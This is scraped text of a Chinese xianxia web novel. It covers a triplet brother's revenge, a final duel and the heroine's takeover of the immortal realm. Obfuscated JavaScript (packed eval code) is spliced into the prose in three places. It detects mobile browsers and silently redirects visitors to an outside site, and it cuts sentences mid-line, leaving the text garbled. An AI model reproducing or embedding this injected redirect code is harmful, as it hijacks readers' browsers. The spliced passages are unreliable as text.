凌砚吃完饭,坐在院子里晒太阳。 师叔也坐在旁边,端着碗——他和白一样,吃饭慢,吃得认真。 凌砚看了他一眼。 忽然想起一件事。 “二师父。” 师叔抬头。 “嗯?” 凌砚说: “我三万年前留的玉简里,说让我小心穿白衣服的人。” 她看着师叔。 “你穿的是白衣服。” 师叔愣了一下。 低头看了看自己。 然后说: “不是我。” 凌砚挑眉。 “你怎么知道不是你?” 师叔沉默了两秒。 然后说: “因为那个穿白衣服的——” 他顿了顿。 “已经死了。” 凌砚愣住了。 “死了?” 师叔点头。 “三万年前,围攻你之后不久,就死了。” 他看着凌砚。 “被人杀的。” 凌砚皱眉。 “谁杀的?” 师叔看着她。 “我。” 凌砚愣住了。 饭堂门口,白端着碗,也看了过来。 师叔放下碗。 “那个人,不是我。” 他站起来。 “是你师叔——我的双胞胎哥哥。” 凌砚脑子有点乱。 “等等。你不是我师叔?” 师叔摇头。 “我是你师叔。但不是那个师叔。” 凌砚看着他。 “什么意思?” 师叔说: “我父母生了三个儿子。” “老大,是你师父。” “老二,是我。” “老三,是那个穿白衣服的。” 他看着凌砚。 “我们三个,长得一模一样。” 凌砚沉默了。 师叔继续说: “老三从小就疯。天赋最高,但心最狠。” “你师父收你为徒之后,他就盯上你了。” “不是因为你。是因为你师父。” 凌砚问: “为什么?” 师叔说: “因为他想继承龙族之主的位置。但你师父在,他坐不上。” 他看着凌砚。 “所以他杀了你——为了逼你师父出手。” 凌砚愣住。 “逼我师父出手?” 师叔点头。 “你师父如果出手,就会暴露弱点。他等了几百年,就是在等你师父出手的那一刻。” 他顿了顿。 “但你师父没出手。” 凌砚看着他。 “为什么?” 师叔说: “因为我在。” 凌砚愣住了。 师叔继续说: “你死之后,你师父疯了。他想杀去仙界,杀光所有人。” “我拦住了他。” “然后我去找了老三。” 他看着凌砚。 “亲手杀了他。” 凌砚站在原地。 脑子里嗡嗡的。 原来如此。 那个穿白衣服的,不是眼前这个师叔。 是另一个。 已经死了。 三万年前就死了。 她看着师叔。 “那你为什么不早说?” 师叔沉默了一会儿。 然后说: “你没问。” 凌砚深吸一口气。 然后笑了。 “行。我的错。” 她看着师叔。 “那你后来为什么关我师父两万年?” 师叔说: “因为他还想杀去仙界。” 他看着凌砚。 “当年围攻你的人,还有一半活着。他想去杀光。” “但那时候你还没转世。他去送死,你怎么办?” 凌砚沉默了。 师叔继续说: “所以我把他关起来。等他冷静了,再放出来。” 他看着凌砚。 “结果他睡了两万年。” 凌砚转头看向院子的另一边。 掌门躺在石头上,晒太阳。 好像什么都没听到。 凌砚忽然有点想笑。 “他睡得着?” 师叔说: “被下药了。不下药,他睡不着。” 凌砚沉默了。 然后站起来。 走到掌门旁边。 蹲下。 “师父。” 墨渊睁开眼。 “嗯?” 凌砚看着他。 “你当年想为我报仇?” 墨渊沉默了两秒。 然后点头。 “想。” 凌砚问: “为什么没去?” 墨渊看着她。 “因为你还会回来。” 他顿了顿。 “我得等着。” 凌砚愣住了。 墨渊继续说: “你死之前,我把你的一滴血藏起来了。我知道你会转世。” 他看着凌砚。 “如果我死了,谁接你回家?” 凌砚站在原地。 一动不动。 眼眶有点红。 墨渊笑了。 “哭什么哭?” 他伸手,揉了揉她的头发。 “老子等了三万年,终于等到了。高兴还来不及。” 凌砚深吸一口气。 没让眼泪掉下来。 “我没哭。” 墨渊笑了。 “行,没哭。” 他躺回去。 继续晒太阳。 凌砚站在旁边。 看着那张懒洋洋的脸。 忽然想起三万年前那个声音: “老子迟早会回来的。” 原来—— 不是在说自己。 是在说她。 --- 饭堂里。 八个人又坐在一起。 凌砚看着师叔。 “二师父,那个老三——他叫什么?” 师叔说: “墨尘。” 凌砚点头。 “墨尘。” 她记下了。 温寻在旁边问: “那他死了之后,尸体呢?” 师叔说: “没了。” “没了?” 师叔点头。 “我杀他之后,他的尸体自己烧了。” 他看着凌砚。 “他死之前说——他还会回来的。” 凌砚愣住了。 “还会回来?” 师叔点头。 “他说,他也留了一滴血。” 凌砚脸色变了。 她想起那滴金色的血。 她体内那滴。 还有遗迹里那滴。 都是转世用的。 如果那个墨尘也留了血—— 白忽然开口: “他回来了。” 所有人看向他。 白端着碗,表情平静。 “我刚才感觉到了。” 他看着凌砚。 “他在附近。” 凌砚站起来。 谢无妄拔剑。 苏折手里的圆球飘起来。 温寻收起扇子。 沈清和站到凌砚旁边。 师叔和掌门也站了起来。 山门外。 一道白影落下来。 白衣,白发。 和师叔一模一样。 但眼神不一样。 那个眼神—— 是疯的。 他站在门口,看着里面的人。 笑了。 “都在啊?” 他看着凌砚。 “小侄女,好久不见。” 凌砚盯着他。 “墨尘?” 那人点头。 “对。” 他往前走了一步。 “三万年前,你师父杀了我。三万年后——” 他笑了。 “我回来了。” 他看着师叔。 “二哥,你没想到吧?” 师叔脸色铁青。 “你怎么活过来的?” 墨尘笑了。 “我也留了一滴血。” 他看着凌砚。 “和她一样。” 凌砚沉默。 墨尘继续说: “我知道你们都在。” 他看着掌门。 “大哥,你睡了两万年,想我没?” 掌门没说话。 只是看着他。 墨尘又看向师叔。 “二哥,你杀我那次,我记着呢。” 他笑了笑。 “今天来还。” 师叔往前走了一步。 “来。” 墨尘笑了。 “不急。” 他看着凌砚。 “我今天是来看我这个小侄女的。” 凌砚盯着他。 “看什么?” 墨尘说: “看你长什么样。” 他上下打量她。 “嗯,和你三万年前一样。” 他笑了。 “一样让人想杀。” 话音刚落,谢无妄动了。 剑光斩过去。 墨尘抬手。 轻轻一挡。 谢无妄连人带剑飞了出去。 凌砚脸色变了。 “大师姐!” 谢无妄爬起来。 “没事。” 她嘴角有血。 但眼神更冷了。 墨尘看着她。 “化神?也敢对我动手?” 他抬手。 白动了。 一瞬间,两人对了一掌。 白退了一步。 墨尘也退了一步。 他看着白。 “真仙后期?” 白没说话。 只是站在凌砚前面。 墨尘笑了。 “有意思。” 他看着掌门和师叔。 “你们两个,加上这个真仙,确实能打。” 他退后一步。 “但今天不是时候。” 他看着凌砚。 “小侄女,下次见。” 白影一闪。 消失了。 --- 院子里安静了很久。 温寻第一个开口: “操。” 凌砚没说话。 她看着谢无妄。 “大师姐,伤哪了?” 谢无妄摇头。 “皮外伤。” 凌砚走过去。 握住她的手。 手心金光闪了一下。 谢无妄愣了一下。 “你——” 凌砚说: “别动。” 金光渗进去。 谢无妄的脸色好了一点。 凌砚松开手。 “行了。” 谢无妄看着她。 “你什么时候会这个了?” 凌砚摇头。 “不知道。刚才突然会的。” 她看着自己的手心。 那点金光还在跳。 墨渊走过来。 “是那东西在觉醒。” 凌砚抬头看他。 “那东西到底是什么?” 墨渊沉默了一会儿。 然后说: “是天庭的传承。” 他看着凌砚。 “三万年前,我把天庭之主的位置传给了你。” 凌砚愣住了。 “我?” 墨渊点头。 “你是下一任天庭之主。” 凌砚站在原地。 脑子一片空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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照在两个人身上。 一个端着碗,一个靠着肩。 谁也没说话。 但好像什么都说了。 --- 第二天早上。 凌砚被温寻的喊声吵醒。 “小师妹!墨尘又来了!” 凌砚睁开眼。 发现自己又靠在白肩上睡着了。 白还是那个姿势,端着碗。 碗里的肉已经凉了。 凌砚站起来。 “走。” --- 山门外。 墨尘站在那儿。 这次不是一个人。 身后站着密密麻麻的人。 全是仙人。 他看着凌砚出来,笑了。 “小侄女,准备好了吗?” 凌砚看着他。 “准备什么?” 墨尘说: “准备死。” 凌砚笑了。 “你确定?” 她后退一步。 身后,掌门走出来。 师叔走出来。 白走出来。 谢无妄、苏折、温寻、沈清和,全站在她旁边。 远处,沈万山带着人围过来。 墨尘看着这阵势。 笑了。 “就这些?” 凌砚摇头。 “不止。” 她手心亮起金光。 金光越来越亮。 然后—— 她身后出现了无数人影。 虚影。 穿着战甲,拿着法器。 密密麻麻,站满了整个天空。 墨尘脸色变了。 “这是——” 凌砚说: “天庭旧部。” 她看着墨尘。 “三万年前,你杀我的时候,他们不在。” 她笑了。 “现在,他们在。” 墨尘脸色铁青。 凌砚往前走了一步。 “打吗?” 墨尘看着她。 看了很久。 然后笑了。 “有意思。” 他退后一步。 “今天不打。” 他看着凌砚。 “但下次,我会准备好。” 他一挥手。 身后的人全消失了。 他自己也消失了。 凌砚站在原地。 手心金光慢慢暗下去。 身后的虚影也消失了。 温寻凑过来。 “小师妹,刚才那是什么?” 凌砚摇头。 “不知道。它自己出来的。” 她看着自己的手心。 那东西——在保护她。 墨渊走过来。 “传承觉醒了。” 凌砚看他。 “那我能打过墨尘了?” 墨渊想了想。 “还不行。” “为什么?” 墨渊说: “因为你还不会用。” 他看着凌砚。 “得练。” 凌砚沉默了两秒。 然后笑了。 “那就练。” 19. 墨衍 凌砚发现一个问题。 自从那天觉醒之后,她手心那点金光就不消停了。 吃饭的时候闪一下。 走路的时候闪一下。 睡觉的时候——闪得她睡不着。 第三天早上,她顶着两个黑眼圈去找墨渊。 “师父,这东西能不能关掉?” 墨渊躺在石头上,看了她一眼。 “不能。” “为什么?” “因为它醒了。” 凌砚皱眉。 “醒了是什么意思?” 墨渊坐起来。 “意思是——它认主了。” 他看着凌砚。 “从现在开始,你是天庭之主。” 凌砚沉默了两秒。 然后问: “那我能不能不当?” 墨渊笑了。 “不能。” 凌砚深吸一口气。 “行吧。” 她转身要走。 墨渊忽然说: “去找你二师父。” 凌砚回头。 “找他干嘛?” 墨渊说: “让他教你。” 他看着凌砚。 “他是我们兄弟里,唯一一个真正研究过那东西的人。” 凌砚愣了一下。 然后点头。 “好。” --- 师叔坐在饭堂门口。 和白并排。 两个人端着碗,吃着肉。 画面出奇和谐。 凌砚走过去。 “二师父。” 师叔抬头看她。 “嗯?” 凌砚在他旁边坐下。 “师父说让你教我。” 师叔沉默了两秒。 然后问: “教什么?” 凌砚伸出手。 手心金光闪了一下。 “这个。” 师叔看着那点金光。 看了很久。 然后说: “我教不了。” 凌砚愣住。 “为什么?” 师叔说: “因为它是你的。不是我的。” 他看着凌砚。 “我只能告诉你,它是什么。” 凌砚点头。 “行。那它是什么?” 师叔想了想。 “它是天庭的传承。” “我知道。” “它也是你师父留给你的东西。” “我也知道。” 师叔看着她。 “它还是——” 他顿了顿。 “你三万年前死的时候,留下来的执念。” 凌砚愣住了。 师叔继续说: “你死之前,把所有的恨、所有的怨、所有的不甘心,全留在了那滴血里。” 他看着凌砚。 “那东西,就是那些。” 凌砚沉默。 低头看着自己的手心。 金光还在跳。 暖暖的。 但好像—— 真的有一点烫。 师叔说: “所以它才会在你遇到危险的时候出来。” 他看着凌砚。 “因为它不想让你再死一次。” 凌砚握紧手。 金光消失了。 她抬起头。 “那我怎么控制它?” 师叔想了想。 “得让它信你。” “怎么信?” 师叔看着她。 “你得让它知道——你现在,比三万年前更强。” 凌砚愣住了。 比三万年前更强? 她想起那段记忆。 战场,血,三万人。 她一个人打了三天三夜。 最后死了。 那是三万年前的自己。 现在—— 她低头看着自己的手。 金丹期。 差了十万八千里。 师叔好像看出她在想什么。 “不是修为。” 凌砚抬头看他。 师叔说: “是心。” 他指着凌砚的胸口。 “三万年前,你是一个人打的。” “现在——” 他指了指周围。 谢无妄在练剑。 苏折在炼器。 温寻在摇扇子。 沈清和在浇花。 白在吃肉。 远处,沈万山带着人巡逻。 师叔说: “现在你不是一个人。” 凌砚看着那些人。 忽然明白了。 她站起来。 手心金光亮了。 比之前更亮。 但不是烫。 是暖。 她看着那点金光。 “听到了?” 金光闪了一下。 像是回应。 凌砚笑了。 “那就行。” --- 当天晚上。 凌砚正在睡觉。 忽然感觉到什么。 睁开眼。 房间里多了一个人。 墨尘。 他坐在窗边,看着她。 “小侄女,睡得挺香?” 凌砚坐起来。 “你怎么进来的?” 墨尘笑了。 “我想进的地方,没人拦得住。” 他看着凌砚。 “你那个看门的,睡着了。” 凌砚愣了一下。 白会睡着? 墨尘继续说: “我给他下了点药。睡到天亮。” 凌砚盯着他。 “你想干什么?” 墨尘站起来。 走到她面前。 低头看着她。 “想看看——你现在值不值得我动手。” 凌砚没动。 手心金光已经亮了。 墨尘看了一眼。 笑了。 “觉醒了?” 他点点头。 “不错。比我想的快。” 他退后一步。 “但还不够。” 他看着凌砚。 “小侄女,你知道你三万年前是怎么死的吗?” 凌砚没说话。 墨尘说: “是被我一剑穿心。” 他笑了。 “我亲手杀的。” 凌砚眼神一冷。 墨尘继续说: “那时候你很强。比现在强得多。” 他看着她。 “但还是死了。” “为什么?” 凌砚问。 墨尘说: “因为你是一个人。” 他转身。 走到窗边。 “现在你身边有人了。” 他回头看着凌砚。 “所以下次见面,我会把他们全杀了。” “然后再杀你。” 他笑了。 “让你再死一次。” 白影一闪。 消失了。 凌砚坐在床上。 手心金光在跳。 很烫。 但她没动。 只是看着那个窗口。 很久。 然后说: “白。” 没人回答。 她站起来。 推开门。 白坐在门口,低着头。 睡着了。 碗掉在地上,肉撒了一地。 凌砚走过去。 在他面前蹲下。 “白。” 白没反应。 凌砚伸手,碰了碰他的脸。 凉的。 她愣了一下。 然后手心金光涌出来。 渗进白体内。 白的眉头动了一下。 睁开眼。 看到她。 “我——” 凌砚打断他。 “别动。” 金光继续涌。 白的脸色慢慢恢复正常。 他看着她。 “他来了?” 凌砚点头。 “来了。” “说了什么?” 凌砚沉默了两秒。 然后说: “说要杀光你们。” 白愣住了。 凌砚看着他。 “怕吗?” 白想了想。 “不怕。” “为什么?” 白说: “因为你在。” 凌砚笑了。 “那就行。” 她站起来。 “继续睡吧。” 白点头。 捡起碗。 发现肉没了。 愣了一下。 凌砚笑了。 “明天让四师姐多做点。” 白点头。 凌砚转身回房间。 走到门口,忽然回头。 “白。” “嗯?” “下次他再来,叫醒我。” 白看着她。 “好。” 凌砚推门进去。 躺在床上。 看着天花板。 手心金光还在跳。 但这次—— 不烫了。 --- 第二天早上。 凌砚把昨晚的事说了。 墨渊听完,没说话。 师叔也没说话。 温寻先开口: “他真这么说?” 凌砚点头。 温寻脸色难看。 “那他下次来——” 凌砚打断他。 “下次来,杀他。” 所有人看着她。 凌砚站起来。 “他不是想杀光你们吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323579|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她笑了。 “那就让他试试。” 手心金光亮了。 比之前任何时候都亮。 她看着那点金光。 “准备好了?” 金光闪了一下。 凌砚点头。 “那就等。” --- 三天后。 墨尘没来。 五天后。 还是没来。 温寻的情报网查遍了整个仙界—— 没有墨尘的踪迹。 他好像消失了。 凌砚每天坐在院子里,手心金光亮着。 等。 第七天早上。 白忽然站起来。 凌砚看向他。 “来了?” 白点头。 “来了。” 山门外。 墨尘站在那儿。 还是一个人。 他看着凌砚出来,笑了。 “等急了?” 凌砚看着他。 “你的人呢?” 墨尘摇头。 “没带。” “为什么?” 墨尘说: “因为今天——” 他往前走了一步。 “我一个人就够了。” 凌砚笑了。 “你确定?” 她身后,所有人走出来。 墨渊、墨衍、白、谢无妄、苏折、温寻、沈清和。 远处,沈万山带着人围过来。 墨尘看着这些人。 笑了。 “就这些?” 他抬手。 身后,忽然出现无数人影。 密密麻麻。 比上次还多。 凌砚眼神一凝。 墨尘笑了。 “我也带了人。” 他看着凌砚。 “小侄女,今天——” 他顿了顿。 “咱们好好算账。” 凌砚看着他。 看了很久。 然后笑了。 “行。” 她往前走了一步。 手心金光亮起。 身后,无数虚影出现。 天庭旧部。 比上次更清晰。 比上次更多。 墨尘脸色变了。 “你——” 凌砚说: “我也是一个人来的。” 她笑了。 “但我也带人了。” 墨尘看着那些虚影。 脸色铁青。 凌砚看着他。 “打吗?” 墨尘沉默。 很久。 然后笑了。 “有意思。” 他退后一步。 “今天不打。” 他看着凌砚。 “但下次——” 凌砚打断他。 “下次你来,我杀你。” 墨尘愣住。 然后笑了。 “好。我等着。” 他一挥手。 身后的人消失。 他自己也消失了。 凌砚站在原地。 手心金光慢慢暗下去。 温寻走过来。 “小师妹,他又跑了。” 凌砚点头。 “我知道。” 温寻看着她。 “你为什么不追?” 凌砚想了想。 然后说: “因为杀他,不急。” 她转身往里走。 “先吃饭。” 温寻愣住。 然后笑了。 “行。” --- 饭堂里。 八个人围坐一桌。 凌砚一边吃一边想。 墨尘还会来。 下次,可能真的是决战。 但没关系。 她低头看了看手心。 金光闪了一下。 像是在说—— “我准备好了。” 凌砚笑了。 低头继续吃。 --- 吃完饭。 凌砚坐在院子里晒太阳。 旁边躺着墨渊。 师叔坐在门口,端着碗。 白也坐在门口,端着碗。 四个人,四条直线。 画面诡异又和谐。 凌砚忽然开口: “二师父。” 师叔回头。 “嗯?” “你叫什么来着?” 师叔愣了一下。 然后说: “墨衍。” 凌砚点头。 “行,记住了。” 她躺回去。 继续晒太阳。 墨衍看着她。 然后转回头。 继续吃肉。 嘴角动了一下。 好像笑了。 但没人看到。 20. 决战之前 墨尘又消失了。 这次消失了整整半个月。 温寻的情报网翻遍了整个仙界,愣是没找到一点影子。 凌砚每天照常吃饭、睡觉、晒太阳。 但所有人都知道—— 她在等。 --- 第十六天早上。 白忽然站起来。 凌砚看向他。 “来了?” 白点头。 “来了。” 凌砚站起来。 手心金光亮起。 “多少人?” 白感应了一下。 “很多。” 他顿了顿。 “比上次多一倍。” 凌砚笑了。 “行。” 她往外走。 走到门口,忽然回头。 墨渊躺着,没动。 墨衍坐着,端着碗。 谢无妄在练剑。 苏折在炼器。 温寻在摇扇子。 沈清和在浇花。 沈万山带着人巡逻。 所有人都看着她。 凌砚说: “走了。” 温寻站起来。 “小师妹,这次一起。” 凌砚摇头。 “不用。” 温寻皱眉。 “为什么?” 凌砚笑了。 “因为——” 她手心金光亮起。 身后,无数虚影出现。 天庭旧部。 比之前任何一次都多。 密密麻麻,站满了整个天空。 凌砚说: “我有人。” 温寻看着那些虚影。 沉默了。 然后说: “行吧。” 他坐回去。 “那我们在家等你。” 凌砚点头。 转身。 “走。” 白跟上。 墨渊坐起来。 墨衍放下碗。 两人对视一眼。 同时站起来。 凌砚回头。 “你们?” 墨渊笑了。 “你的事,就是我们的事。” 墨衍没说话,但往前走了一步。 凌砚看着他们。 然后笑了。 “行。” 四个人走出山门。 身后,虚影跟着。 --- 山门外。 墨尘站在那里。 身后是黑压压的大军。 他看到凌砚出来,笑了。 “带齐了?” 凌砚点头。 “带齐了。” 墨尘看着她身后。 墨渊,墨衍,白。 还有那些虚影。 他点点头。 “不错。比我想的多。” 他看着凌砚。 “但还不够。” 他一挥手。 身后大军冲上来。 凌砚抬手。 虚影迎上去。 两股洪流撞在一起。 天崩地裂。 --- 凌砚没动。 墨尘也没动。 两人隔着战场对视。 墨尘说: “三万年前,我杀了你。” 凌砚点头。 “记得。” 墨尘说: “三万年后,再杀一次。” 凌砚笑了。 “试试。” 她往前走。 墨尘也往前走。 两人之间的距离越来越短。 白要跟上去,被墨衍拦住。 “她的。” 白愣了一下。 看着凌砚的背影。 没再动。 --- 凌砚走到墨尘面前。 两人相距三步。 墨尘低头看着她。 “金丹。” 凌砚点头。 “金丹。” 墨尘笑了。 “你知道我什么修为吗?” 凌砚摇头。 “不知道。” 墨尘说: “仙尊。” 他看着凌砚。 “差了多少,自己算。” 凌砚点头。 “算出来了。” “还打?” 凌砚笑了。 “打。” 她抬手。 手心金光亮起。 墨尘也抬手。 掌心黑光亮起。 两道光撞在一起。 轰—— 地面裂开。 山门碎了。 周围百里,全被掀飞。 --- 烟尘散去。 凌砚站在原地。 嘴角有血。 墨尘也站在原地。 脸色变了。 “你——” 凌砚擦了擦嘴角。 “我怎么了?” 墨尘看着她。 “你什么时候到仙尊了?” 凌砚笑了。 “刚才。” 墨尘愣住。 凌砚低头看自己的手。 手心金光比之前亮了十倍。 她说: “那东西告诉我——” 她抬头看着墨尘。 “只要我想,就能到。” 墨尘脸色铁青。 “不可能!” 凌砚往前走了一步。 “不可能?” 她又走了一步。 “你杀我那次的账,今天算。” 墨尘退后一步。 第一次,他退了。 凌砚看着他。 “怕了?” 墨尘咬牙。 “怕?我会怕你?” 他抬手。 黑光暴涨。 凌砚也抬手。 金光暴涨。 两道光再次撞在一起。 这一次—— 墨尘飞了出去。 --- 他撞碎了五座山,才停下来。 凌砚站在原地。 手心金光慢慢暗下去。 她低头看。 手在抖。 墨渊走过来。 “没事吧?” 凌砚摇头。 “没事。” 她看着远处。 墨尘从废墟里爬出来。 浑身是血。 他看着凌砚。 眼神变了。 不再是疯。 是恐惧。 “你、你不是她——” 凌砚挑眉。 “我不是谁?” 墨尘说: “你不是三万年前那个!” 凌砚笑了。 “对。我不是。” 她往前走了一步。 “三万年前那个,是一个人打的。” 她看着墨尘。 “现在这个——” 她回头看了一眼。 墨渊,墨衍,白。 还有那些虚影。 她转回头。 “有人陪着。” 墨尘脸色惨白。 他忽然笑了。 笑得很难看。 “好。好。” 他看着凌砚。 “这次我输了。” 他退后一步。 “但下次——” 凌砚打断他。 “没有下次。” 她抬手。 金光涌出。 墨尘想跑。 但动不了。 白已经站在他身后。 墨渊站在左边。 墨衍站在右边。 四个人,四个方向。 墨尘看着他们。 忽然笑了。 “三万年。” 他闭上眼睛。 “值了。” 凌砚看着他。 “有什么遗言?” 墨尘睁开眼。 看着她。 “你师父——” 他看着墨渊。 “对不起。” 墨渊没说话。 墨尘又看向墨衍。 “二哥,对不住。” 墨衍也没说话。 墨尘最后看向凌砚。 “小侄女。” 凌砚看着他。 墨尘笑了。 “杀我的时候,快点。” 凌砚点头。 “好。” 金光涌出。 墨尘倒下去。 这一次—— 没再站起来。 --- 战场安静了。 墨尘的人,全跑了。 那些虚影,慢慢消散。 凌砚站在原地。 低头看着墨尘的尸体。 很久。 墨渊走过来。 “走了。” 凌砚抬头看他。 “他最后说对不起。” 墨渊点头。 “听到了。” 凌砚问: “你原谅他吗?” 墨渊想了想。 “不原谅。” 他看着墨尘的尸体。 “但他死了,就算了。” 凌砚沉默。 墨衍走过来。 站在墨尘尸体旁边。 看了很久。 然后说: “埋了吧。” 白走过来。 抬手。 地面裂开一道缝。 墨尘的尸体落进去。 缝合上。 一座新坟。 没碑。 没字。 什么都没有。 凌砚看着那座坟。 忽然说: “他到底为什么杀我?” 墨渊说: “因为嫉妒。” 凌砚转头看他。 墨渊说: “我是老大,继承龙族。” “他是老三,什么都没有。” 他看着那座坟。 “他恨我。杀你,是为了让我痛苦。” 凌砚沉默。 墨衍忽然开口: “但他最后道歉了。” 他看着那座坟。 “就够了。” 凌砚点点头。 转身。 “走吧,回家。” --- 无妄宗。 山门碎了。 房子塌了一半。 沈清和的药田被毁了。 苏折的炼器室塌了。 温寻的情报室没了。 沈万山的人伤了十几个。 但没人死。 凌砚站在废墟中间。 看着这一切。 温寻走过来。 “小师妹,没事,能重建。” 凌砚没说话。 温寻看着她。 “怎么了?” 凌砚说: “是我把战场引到家里的。” 温寻愣了一下。 然后笑了。 “那怎么了?” 凌砚看着他。 “你们差点死。” 温寻说: “但没死。” 他看着凌砚。 “而且——你不是赢了?” 凌砚沉默。 温寻拍拍她肩膀。 “行了,别想了。” 他指着废墟。 “来,帮忙收拾。” 凌砚看着他。 然后笑了。 “行。” --- 那天下午。 八个人一起收拾废墟。 谢无妄搬石头。 苏折找材料。 温寻清点损失。 沈清和看伤者。 沈万山带着人修墙。 白端着碗,站在旁边看。 墨渊躺在唯一一块完整的石头上。 墨衍坐在他旁边。 凌砚搬着石头,从他面前走过。 “师父,你就看着?” 墨渊睁开眼。 “我看着呢。” 凌砚挑眉。 “看着不帮忙?” 墨渊想了想。 “帮你喊加油?” 凌砚深吸一口气。 然后笑了。 “行。你喊。” 墨渊真的喊了。 “加油。” 凌砚:“……” 墨衍在旁边,嘴角动了一下。 好像笑了。 凌砚看到了。 “二师父,你笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323580|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 墨衍立刻恢复面无表情。 “没有。” 凌砚盯着他。 “我看到了。” 墨衍沉默了两秒。 然后说: “……可能有一点。” 凌砚笑了。 继续搬石头。 --- 晚上。 废墟清理得差不多了。 八个人围坐在空地上。 沈清和用剩下的材料做了一顿饭。 很简单。 但大家都吃得香。 凌砚看着他们。 忽然说: “谢谢。” 所有人看向她。 凌砚说: “今天,谢谢你们。” 温寻笑了。 “谢什么,一家人。” 凌砚点头。 “对。一家人。” 她端起碗。 “来,吃饭。” 八个人低头吃饭。 月光照下来。 废墟上,笑声断断续续。 白端着碗,坐在凌砚旁边。 肉没了。 但他没动。 凌砚看到了。 “白,你怎么不吃?” 白说: “没了。” 凌砚愣了一下。 然后笑了。 把自己碗里的肉夹给他。 “吃。” 白看着她。 接过碗。 继续吃。 凌砚转回头。 看着其他人。 忽然觉得—— 废墟也没那么难看。 --- 第二天早上。 凌砚被温寻的喊声吵醒。 “小师妹!来人了!” 凌砚睁开眼。 坐起来。 “谁?” 温寻表情古怪。 “仙界的人。” 凌砚愣了一下。 “又来?” 温寻摇头。 “不是来打架的。” “那来干嘛?” 温寻说: “来投降。” 凌砚以为自己听错了。 “什么?” 温寻重复了一遍: “来投降。” 凌砚沉默了两秒。 然后笑了。 “走,去看看。” --- 山门外。 站着一群人。 领头的是个老者,仙尊境。 他身后跟着几十个人,全是金仙以上。 看到凌砚出来,老者直接跪下。 “凌姑娘!” 凌砚看着他。 “干嘛?” 老者说: “我们是仙界各派的人。听说你杀了墨尘,特地来——” 他顿了顿。 “来投降。” 凌砚挑眉。 “投降?” 老者点头。 “对。当年围攻你的事,我们都有份。现在你回来了,我们——” 他咽了口唾沫。 “愿意归顺。” 凌砚看着他。 看了很久。 然后笑了。 “归顺?” 老者拼命点头。 凌砚说: “行。” 老者愣住了。 “行?” 凌砚点头。 “对,行。” 她往前走了一步。 “但有个条件。” 老者连忙说: “您说!” 凌砚说: “从今天起,仙界归我管。” 老者脸色变了。 凌砚看着他。 “不愿意?” 老者咬牙。 “愿、愿意!” 凌砚笑了。 “那就行。” 她转身往回走。 “回去等着。过几天我去仙界。” 老者愣在原地。 看着她的背影。 很久。 然后说: “是。” --- 无妄宗里。 温寻凑过来。 “小师妹,你真要管仙界?” 凌砚点头。 “对。” 温寻看着她。 “为什么?” 凌砚想了想。 “因为——” 她笑了。 “我不想再被人围攻了。” 温寻愣住。 凌砚继续说: “既然他们怕我,那就让他们一直怕。” 她看着远方。 “从今天起,我说了算。” 温寻沉默了两秒。 然后笑了。 “行。牛逼。” 凌砚笑了。 转身往里走。 “白,过几天陪我去仙界。” 白端着碗。 “好。” 墨渊躺在石头上。 “我呢?” 凌砚头也不回。 “你晒太阳。” 墨渊笑了。 “行。” --- 当天晚上。 凌砚坐在院子里,看着月亮。 旁边坐着白。 端着碗。 墨衍坐在另一边。 也端着碗。 三个人,三条直线。 凌砚忽然说: “二师父。” 墨衍看她。 “嗯?” 凌砚问: “你说,我管得了仙界吗?” 墨衍想了想。 “管得了。” “为什么?” 墨衍说: “因为你有人。” 他看着凌砚。 “而且——” 他顿了顿。 “你是我大哥的徒弟。” 凌砚笑了。 “就这?” 墨衍点头。 “就这。” 凌砚转回头,继续看月亮。 月光很亮。 照在三个人身上。 一个靠着白。 一个端着碗。 一个也端着碗。 谁也没说话。 但好像什么都说了。 21. 接管仙界 三天后。 凌砚站在仙界入口,看着那道金色的门。 身后跟着白和墨衍。 “就咱们三个?” 墨衍点头。 “够了。” 凌砚挑眉。 “万一他们反悔呢?” 墨衍想了想。 “那就打。” 凌砚笑了。 “行。” 她推开那道门。 金光刺眼。 然后—— 眼前是一片新世界。 比上次来的时候更热闹。 到处都是人。 仙尊、金仙、真仙—— 密密麻麻,站满了整个天空。 最前面跪着那个老者。 他身后,是几百个仙人。 再后面,是成千上万的仙兵。 凌砚看着这阵势。 沉默了两秒。 然后说: “这是投降还是埋伏?” 老者连忙说: “投降!真是投降!” 他指着身后。 “这些都是来归顺的!” 凌砚扫了一眼。 “全部?” 老者点头。 “全部。” 凌砚笑了。 “行。” 她往前走。 人群自动让开一条路。 白和墨衍跟在后面。 三个人穿过人群,一直走到最前面。 那里有一座高台。 高台上放着一把椅子。 金色的,雕着龙纹。 凌砚看着那把椅子。 “这是什么?” 老者说: “天帝之位。” 他看着凌砚。 “三万年前,您师父坐过。” 凌砚愣了一下。 转头看向墨衍。 墨衍点头。 “对。” 凌砚转回头,看着那把椅子。 然后走过去。 坐下。 全场安静。 所有人看着她。 凌砚坐在椅子上,往下看。 几百个仙人跪着。 成千上万的仙兵站着。 她忽然有点想笑。 三万年前,她被这些人围攻。 三万年后,他们跪在她面前。 